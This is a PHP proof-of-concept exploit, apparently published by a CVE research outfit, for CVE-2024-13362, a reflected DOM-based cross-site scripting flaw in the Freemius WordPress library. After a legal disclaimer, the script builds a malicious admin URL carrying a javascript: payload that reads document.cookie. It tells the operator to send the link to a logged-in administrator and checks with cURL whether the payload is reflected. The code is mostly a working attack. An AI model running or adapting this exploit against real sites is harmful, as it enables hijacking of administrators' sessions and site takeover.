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PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// Configuration
$target_url = 'http://example.com/wp-admin/admin.php'; // Base URL of the vulnerable WordPress admin page
$attacker_payload = 'alert(document.cookie)'; // JavaScript code to execute

// Step 1: Construct the malicious URL
// The vulnerable endpoint is typically the Freemius license activation page.
// The 'url' parameter is reflected into a data-id attribute which is then read by JavaScript.
$payload_url = $target_url . '?page=freemius-license-activation&url=javascript:' . urlencode($attacker_payload);

// Step 2: Output instructions for manual execution (since this is a reflected XSS, it requires user interaction)
echo "[+] Atomic Edge CVE Research - CVE-2024-13362 PoCn";
echo "[+] Target: $target_urln";
echo "[+] Generated malicious URL:n";
echo $payload_url . "n";
echo "n[*] Send this URL to a logged-in WordPress administrator.n";
echo "[*] When the admin clicks the link and the page loads, the XSS will execute.n";

// Step 3: Verify the request (optional: simulate using cURL to test if the parameter is reflected)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $payload_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIE, 'test_cookie=1'); // Simulate a session (won't work without real admin session)
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Check if the payload is reflected in the HTML
if (strpos($response, $attacker_payload) !== false) {
    echo "[+] Payload appears to be reflected in the response.n";
} else {
    echo "[-] Payload was NOT reflected. The vulnerability may require a different parameter or endpoint.n";
    echo "[*] Check the response content manually for injection points.n";
}
?>

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